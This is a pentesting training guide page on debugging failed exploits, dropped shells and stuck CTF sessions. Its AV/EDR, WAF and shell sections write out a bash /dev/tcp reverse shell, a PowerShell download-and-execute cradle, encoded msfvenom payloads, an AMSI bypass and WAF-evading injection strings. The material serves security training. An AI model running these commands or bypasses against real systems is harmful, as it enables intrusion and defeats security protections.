Skip to content

Latest commit

 

History

History
751 lines (593 loc) · 24.3 KB

File metadata and controls

751 lines (593 loc) · 24.3 KB

When It Fails — Debugging, Pivoting, and the Stuck Mindset

Every practitioner gets stuck. The difference between someone who gets through boxes and someone who does not is not talent — it is methodology. Random attempts produce random results. Systematic debugging produces answers. This section is about what to do when the exploit does not work, the shell does not land, the path you were on turns out to be a dead end, and you have been staring at the same terminal for forty-five minutes. There is always a next step. This section is about finding it.


🔰 Beginners: Getting stuck is not failure — it is the learning. This section gives you the systematic approach that turns being stuck into being a few steps away from the answer.

Seasoned practitioners: The AV/EDR debugging and pivoting to different attack vectors sections contain structured frameworks worth having as reference even when the techniques are familiar.


Before you start — know these terms:

  • Debugging — the systematic process of finding why something is not working. Not guessing. Not trying random things. Working through possibilities in a logical order to isolate the cause.
  • Pivot — changing your approach. When one path is blocked, a pivot means identifying and moving to a different path rather than continuing to push against the same wall.
  • Attack surface — all the possible points where an attacker could try to enter or extract data. When one point fails, the attack surface contains others.
  • Rabbit hole — a path that seems promising but leads nowhere. Recognizing rabbit holes early and getting out of them is as important as finding the right path.

📋 Contents


🧠 The Debugging Mindset

Plain English:

Debugging is not about trying things randomly until something works. It is about asking one question at a time and getting a definitive answer before moving to the next question.

Think of it like a doctor diagnosing a patient. The doctor does not try every treatment at once. They ask: does the patient have a fever? Yes or no. If yes — what kind? They narrow the possibilities systematically until only one answer remains.

Every failed exploit, every dropped shell, every blocked request has a reason. Your job is to find that reason — not to find a different exploit to try randomly.

The debugging loop:

Observation → Hypothesis → Test → Result → New Hypothesis
  • Observation: What exactly is happening? Not "it does not work" — but specifically what output you are seeing, what error message appears, what the network traffic shows.
  • Hypothesis: Why might this be happening? Generate one specific explanation.
  • Test: Do one thing that would confirm or deny your hypothesis.
  • Result: Did it confirm or deny? Either way you know more.
  • New hypothesis: Based on the result, form the next hypothesis.

🔧 Debugging a Failed Exploit

When an exploit runs but does not produce the expected result, work through this checklist in order.

Step 1 — Verify the Target

# Is the service actually running on the port you think?
nmap -sV -p TARGET_PORT TARGET_IP

# Is the version exactly what you think it is?
# Version detection can be imprecise — dig deeper
nmap -sV --version-intensity 9 -p TARGET_PORT TARGET_IP

# Banner grab directly
nc -nv TARGET_IP TARGET_PORT
# Or
curl -v TARGET_IP:TARGET_PORT

💡 Version precision matters. An exploit for 2.4.49 does not work on 2.4.48. Even a minor version difference can mean the vulnerability does not exist or the exploit path is different. Confirm the exact version before assuming the exploit should work.

Step 2 — Read the Exploit Carefully

# Open the exploit and read every line
cat exploit.py
# or
code exploit.py

# Questions to answer:
# What exact version does this target?
# What configuration does it require?
# What port does it expect?
# What does success look like according to the author?
# Are there any notes about known issues?
# When was it written — is it targeting an old environment?

Step 3 — Check Dependencies

# Python exploits — are all imports available?
# Check the import statements at the top of the file
head -20 exploit.py

# Install missing dependencies
pip3 install MISSING_MODULE

# Check Python version compatibility
python3 exploit.py
# If syntax errors appear it may be a Python 2 exploit
python2 exploit.py

# For C exploits — compile with correct flags
gcc exploit.c -o exploit
gcc exploit.c -o exploit -lssl -lcrypto    # if SSL needed

Step 4 — Verify Your Variables

# Open the exploit and check every variable
# Common ones to verify:
# IP address — is it exactly right? No typos?
# Port number — matches what nmap found?
# Your IP — are you using the right interface?
#   On HTB: tun0 IP, not eth0 or wlan0
# Callback port — does it match your listener?

# Get your exact tun0 IP
ip -4 addr show tun0 | grep -oP '(?<=inet\s)\d+(\.\d+){3}'

Step 5 — Run with Verbose Output

# Add debug output to Python exploits
python3 exploit.py -v
python3 exploit.py --debug
python3 exploit.py --verbose

# For exploits without verbose flags — add print statements
# Open the exploit, add: print("[*] Sending payload...")
# before key steps to see where execution stops

# Watch network traffic while running
# On YOUR machine while exploit runs:
tcpdump -i tun0 -nn port TARGET_PORT

Step 6 — Check Exploit Source

# Is there a newer version of this exploit?
searchsploit -u    # update the database
searchsploit SERVICE VERSION    # search again

# Check GitHub for updated versions
# Search: "CVE-XXXX-XXXX exploit github"
# Look for forks of the original with fixes

# Check Exploit-DB comments
# The Exploit-DB entry often has comments noting issues
# and community fixes

Step 7 — Try Alternative Exploits

# Search for other exploits for the same CVE
searchsploit CVE-XXXX-XXXX
searchsploit SERVICE VERSION

# Check Metasploit for a module
msfconsole -q
search CVE-XXXX-XXXX
search SERVICE

# If a Metasploit module exists and the standalone fails
# try the module — it may handle edge cases better
use exploit/MODULE/PATH
show options
set RHOSTS TARGET_IP
run

📡 Debugging a Shell That Will Not Connect

When the exploit appears to run but no shell arrives:

Step 1 — Is your listener running?
         Check the terminal — is nc waiting?
         nc -lvnp 4444
         Should show: listening on [any] 4444 ...

Step 2 — Are the IPs matching?
         Your listener IP must match what is in the exploit
         On HTB: ip addr show tun0 → use THAT IP
         Not 127.0.0.1, not eth0, not wlan0

Step 3 — Are the ports matching?
         Listener port must match payload port exactly
         listener: nc -lvnp 4444
         payload: /dev/tcp/YOUR-IP/4444
         Both must be 4444

Step 4 — Can the target reach you?
         Test with a ping first
         On your machine: tcpdump -i tun0 icmp
         Inject: ping -c 1 YOUR-IP
         If ping arrives in tcpdump → network path works
         If nothing arrives → routing issue

Step 5 — Is the port blocked?
         Try port 80 or 443 instead of 4444
         nc -lvnp 443
         Change payload to use port 443

Step 6 — Is /dev/tcp available?
         Not all systems support /dev/tcp
         Try python3 reverse shell instead
         Try netcat named pipe method instead

Step 7 — Did the command actually execute?
         Add a simpler test first
         If you have RCE: ping -c 1 YOUR-IP
         Watch tcpdump — confirms execution before reverse shell

💀 Debugging a Shell That Keeps Dropping

You get a shell but it dies quickly or mid-command:

# Cause 1 — Shell is not stabilized
# Fix: Immediately run Python PTY upgrade
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Then: Ctrl+Z → stty raw -echo; fg → export TERM=xterm

# Cause 2 — Timeout in the web application
# The shell is spawned by a web request that has a timeout
# Fix: Move to a more persistent shell
# Use the initial shell to add an SSH key or cron job
# Then connect via that more stable method

# Cause 3 — The process the shell is attached to dies
# Fix: Use nohup or disown to detach
nohup bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &
disown

# Cause 4 — Network instability (common on busy HTB servers)
# Fix: Use a more resilient shell
# Socat with reconnect options
# Or Metasploit handler with AutoRunScript to re-establish

# Cause 5 — Box is resetting (HTB scheduled resets)
# Check HTB forums/Discord for reset schedule
# Time your work accordingly

# Keeping a shell alive — heartbeat trick
# Run this in a separate thread to prevent timeout
while true; do echo "keepalive"; sleep 30; done &

🛡️ Debugging AV and EDR Blocks

When your payload is being detected and killed:

# Step 1 — Confirm it is actually AV killing it
# Does the file disappear after being uploaded?
# → AV is quarantining it on write
# Does the process start and immediately die?
# → AV or EDR is killing it on execution
# Does nothing happen at all?
# → May be a different issue — check network first

# Step 2 — Identify what is being detected
# Upload to antiscan.me (does NOT share with AV vendors)
# https://antiscan.me
# See which engines detect it and what they call it
# The detection name often tells you which part triggered

# Step 3 — Change the obvious signatures
# msfvenom default payloads are heavily signatured
# Try a different payload type
msfvenom -p windows/x64/shell_reverse_tcp ...   # try x64 vs x86
msfvenom -p windows/shell/reverse_tcp ...       # staged vs stageless

# Step 4 — Encode the payload
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=YOUR-IP LPORT=4444 \
  -e x86/shikata_ga_nai -i 10 \
  -f exe -o encoded.exe

# Step 5 — Try a different format
# Different file formats trigger different detection paths
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=YOUR-IP LPORT=4444 \
  -f dll -o shell.dll     # DLL instead of EXE

msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=YOUR-IP LPORT=4444 \
  -f ps1 -o shell.ps1     # PowerShell script

# Step 6 — Try in-memory execution
# Never write the payload to disk
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://YOUR-IP/shell.ps1')"

# Step 7 — Try LOLBins
# Use trusted Windows binaries instead of custom payloads
# See evasion/av-waf-evasion.md for the full LOLBins list

# Step 8 — AMSI bypass for PowerShell
# If PowerShell scripts are being blocked
$a=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUtils')
$b=$a.GetField('amsi'+'InitFailed','NonPublic,Static')
$b.SetValue($null,$true)
# Then execute your script

🌐 Debugging WAF Blocks

When web-based exploits are being blocked:

# Step 1 — Confirm it is the WAF blocking, not the application
# WAF blocks return specific HTTP status codes:
# 403 Forbidden  → WAF blocked the request
# 406 Not Acceptable → WAF rejected the content
# 501 Not Implemented → WAF blocking specific methods
# Custom page with "blocked" or "denied" message

# A 200 with no results or a 500 with application error
# → Not the WAF — the application received the request

# Step 2 — Identify the WAF
wafw00f http://target.com
# Tells you which WAF product is running
# Knowing the WAF helps find known bypasses

# Step 3 — Try basic encoding
# URL encode your payload
# %27 instead of '
# %20 instead of space
# %3D instead of =

# Step 4 — Try case variation
' uNiOn SeLeCt 1,2,3-- -
<ScRiPt>alert(1)</ScRiPt>

# Step 5 — Try comment insertion
' UN/**/ION SEL/**/ECT 1,2,3-- -

# Step 6 — Use SQLmap tamper scripts for SQLi
sqlmap -u "URL" --tamper=space2comment,randomcase
# See evasion/av-waf-evasion.md for full tamper script list

# Step 7 — Try different HTTP methods
# WAF rules sometimes only apply to GET, not POST
# Or only check specific parameters
# Try moving the payload to a different parameter or header

# Step 8 — Check if WAF has a bypass mode
# Some WAFs have a monitoring mode that logs but does not block
# Look for inconsistent blocking behavior
# Sometimes the same payload works from a different IP or user agent

🔄 When to Pivot — Recognizing Dead Ends

Plain English: A dead end is when you have genuinely exhausted all reasonable options on a particular path. Not when one attempt failed — when systematic investigation has ruled out that path.

The hardest skill in penetration testing is knowing when to stop pushing against a wall and look for a different wall.

Signs you are in a dead end:

You have tried the same approach more than 3 times with
variations and gotten the same result
→ The approach is wrong, not the execution

You cannot find any public exploit for the service version
after checking SearchSploit, Exploit-DB, GitHub, and Google
→ This version may not be the intended path

The vulnerability you found requires conditions that are
not present on this target
→ The vulnerability exists but this target is not affected

You have been on the same path for more than 30-45 minutes
on a CTF box with no progress
→ Time to enumerate more — you are missing something

The 20-minute rule for CTF:

If you have been actively working on one specific technique or exploit for 20 minutes with no progress — stop. Do not try one more thing. Step back and enumerate more. CTF boxes are designed to be solved. If nothing is working, you are missing information.


🗺️ Pivoting to a Different Attack Vector

When the current path is blocked, use this framework to identify what else is available:

Step 1 — Go Back to Enumeration

# What did you find initially?
# Review your nmap output
cat nmap.txt

# Did you scan ALL ports?
nmap -sV -sC -p- --min-rate 5000 TARGET_IP -oN full_scan.txt

# Did you scan UDP?
nmap -sU --top-ports 20 TARGET_IP

# Did you enumerate web fully?
gobuster dir -u http://TARGET_IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster vhost -u http://TARGET_IP -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# Did you check for virtual hosts?
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -H "Host: FUZZ.TARGET_DOMAIN" -u http://TARGET_IP

Step 2 — Look at Every Finding Again

# List every open port and service
cat nmap.txt | grep "open"

# For each service — have you fully enumerated it?

# Port 21 FTP:
# → Anonymous login?
# → Version with known exploits?
# → Any files accessible?

# Port 22 SSH:
# → Version with known vulnerabilities?
# → Any usernames found elsewhere to try?
# → Any SSH keys found via LFI or other means?

# Port 80/443 HTTP:
# → Full directory enumeration done?
# → Any parameters to test for injection?
# → Source code reviewed for clues?
# → Headers reveal any technology?
# → Cookies contain interesting data?

# Port 139/445 SMB:
# → Null session attempted?
# → Shares enumerated?
# → Version checked for EternalBlue?

Step 3 — Check Your Assumptions

# What have you assumed that might be wrong?

# "This is a Linux box" — are you sure?
# Some boxes run Windows but show Linux-style output through a web app

# "Port 80 is just a static page" — did you check everything?
# Hidden directories? Parameters? Different HTTP methods?

# "The version is X" — is your version detection accurate?
# Try manual banner grabbing
nc -nv TARGET_IP PORT

# "Authentication is required" — did you try default credentials?
# admin/admin, admin/password, root/root, guest/guest
# Check the software documentation for defaults

Step 4 — Look for Information You Have Not Used

# Did you find usernames anywhere?
# → Try them on SSH, FTP, web login, SMB
# → Look them up in /etc/passwd via LFI
# → Try common passwords for those users

# Did you find emails?
# → Domain name in the email may reveal virtual hosts
# → Username format may work on other services

# Did you find software names or version strings?
# → Search for vulnerabilities specifically on those
# → Check if default install paths are accessible

# Did you find file paths in error messages?
# → Those paths reveal the server structure
# → May point to readable configuration files

# Did you find internal hostnames?
# → Add to /etc/hosts and try accessing them
# → May reveal internal services

🎯 The Stuck Workflow — A System for Getting Unstuck

When you are completely stuck — use this exact sequence:

1. STOP trying things for 5 minutes
   Seriously. Step away from the keyboard.
   The next attempt made in frustration is rarely the right one.

2. WRITE DOWN everything you have found
   Every open port
   Every service and version
   Every directory or page you found
   Every username, email, or credential
   Every error message you received
   Every technique you tried and what happened

3. LOOK for what you have not tried
   Not what you tried harder — what you have not tried at all
   Check each service against GTFOBins / LOLBAS / Exploit-DB
   Have you tried EVERY service?

4. GOOGLE the service and version
   "SERVICE VERSION exploit"
   "SERVICE VERSION CVE"
   "SERVICE VERSION pentesting"
   "SERVICE VERSION hackthebox"  ← yes, people write guides

5. CHECK the fundamentals
   Are you using the right IP?
   Are you on the right network?
   Is the service actually running right now?
   Did the box reset?

6. ENUMERATE deeper
   Run a full port scan if you only did top 1000
   Run UDP if you only did TCP
   Run a bigger wordlist if gobuster found nothing

7. ASK for a nudge — not the answer
   HTB forums, Discord, Reddit r/netsec
   "I found X, Y, Z and tried A, B, C — what am I missing?"
   A nudge in the right direction is learning
   The full solution is not

🐛 Common CTF Mistakes and Fixes

Mistake 1 — Wrong IP on the Reverse Shell

# Symptom: exploit fires, nothing arrives on listener
# Cause: using wrong interface IP

# Fix: always verify tun0 IP before every exploit
ip -4 addr show tun0 | grep -oP '(?<=inet\s)\d+(\.\d+){3}'
# Copy that exact IP — paste it — do not type it

Mistake 2 — Listener Not Running First

# Symptom: exploit fires, nothing arrives, no error
# Cause: nothing was listening when target tried to connect

# Fix: listener first, always
# Terminal 1: rlwrap nc -lvnp 4444
# Terminal 2: run exploit
# Never in the other order

Mistake 3 — Wrong Port Between Listener and Payload

# Symptom: exploit fires, listener on 4444, nothing arrives
# Cause: payload set to port 5555, listener on 4444

# Fix: verify ports match exactly before running
# Check the exploit: grep -i "port\|lport\|4444\|5555" exploit.py
# Check your listener: what port did you actually start nc on?

Mistake 4 — Not Stabilizing the Shell

# Symptom: shell dies when pressing Ctrl+C
#          sudo prompts do not work
#          vim displays garbage

# Fix: stabilize immediately on landing
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Then: Ctrl+Z → stty raw -echo; fg → export TERM=xterm

Mistake 5 — Forgetting to Grab the Flag

# Symptom: shell drops before getting the flag
# Cause: enumerated instead of grabbing flag first

# Fix: flag first, always
cat /home/*/user.txt 2>/dev/null
find / -name user.txt 2>/dev/null

Mistake 6 — Running Full Port Scan Too Late

# Symptom: stuck for an hour, finally run full scan,
#          find a service on a high port that was the whole path

# Fix: run full port scan in background from the start
# Terminal 1: quick scan (immediate results)
nmap -sV -sC --top-ports 1000 TARGET_IP -oN quick.txt

# Terminal 2: full scan (running in background while you work)
nmap -sV -sC -p- --min-rate 5000 TARGET_IP -oN full.txt

Mistake 7 — Trusting the First Version Number

# Symptom: exploits for the version do not work
# Cause: nmap version detection was wrong

# Fix: verify version manually
nc -nv TARGET_IP PORT
# Read the banner carefully
# Sometimes services are configured to show wrong versions
curl -I http://TARGET_IP
# Check headers for version strings

Mistake 8 — Not Reading Error Messages

# Symptom: exploit fails, you try a different one
# Cause: the error message told you exactly what was wrong
#        but you did not read it

# Fix: read every error message carefully
# Error messages contain:
# → What the exploit tried to do
# → What went wrong
# → Sometimes the exact fix needed

# Run exploits with verbose output
python3 exploit.py -v 2>&1 | tee exploit_output.txt
# Save output and read it

🧘 Mental Discipline — The Invisible Skill

Plain English: Getting stuck is an emotional experience as much as a technical one. Frustration, tunnel vision, and ego are as much of an obstacle as the firewall or the AV. The practitioners who consistently get through hard boxes are not smarter — they are more disciplined about managing their own mental state.

Tunnel vision is the biggest enemy. After working on one approach for a long time, your brain starts filtering out information that does not fit that approach. You stop seeing alternatives. The cure is a forced reset — stop, write down everything, look at the whole picture again as if for the first time.

Frustration makes you sloppy. You start trying things without thinking. You make mistakes you would not normally make. You miss things that are obvious in a calmer state. The 5-minute break in the stuck workflow is not optional — it is the most productive thing you can do at that moment.

Ego makes you avoid asking for help. You tell yourself you should be able to figure this out. A nudge from someone who has done the box is not cheating — it is efficient learning. Ask for hints early, not after three hours of banging your head against the same wall.

The reframe: Being stuck means you are at the edge of your current knowledge. That is exactly where learning happens. Every box that felt impossible and then clicked produced more learning than every box that was straightforward. The hard ones are the valuable ones.


⚔️ CTF vs Real World

CTF Real Engagement
Being stuck Normal — part of the challenge Expensive — engagement has a clock
Time limit Box timer or competition clock Engagement window — often 1-2 weeks
When to ask for help Nudge after genuine effort Escalate to team lead
Pivoting Try another service or technique Document dead end, try next vector
Documentation Notes for writeup Critical — every attempt logged
Giving up on a path After 20-30 minutes of no progress After systematic elimination
AV debugging Rare — boxes usually have it disabled Standard part of the workflow
WAF debugging Sometimes Very common
Mental state Personal discipline Professional obligation
Learning from failure The whole point Post-engagement review

🔗 Related References

Resource What It Covers
Manual Exploitation When exploits need manual adjustment
Evasion When AV/WAF is the obstacle
Shells When the shell is the problem
Vuln Research Finding alternative exploits
Advanced Chaining When single exploits fail — chain

by SudoChef · Part of the SudoCode Pentesting Methodology Guide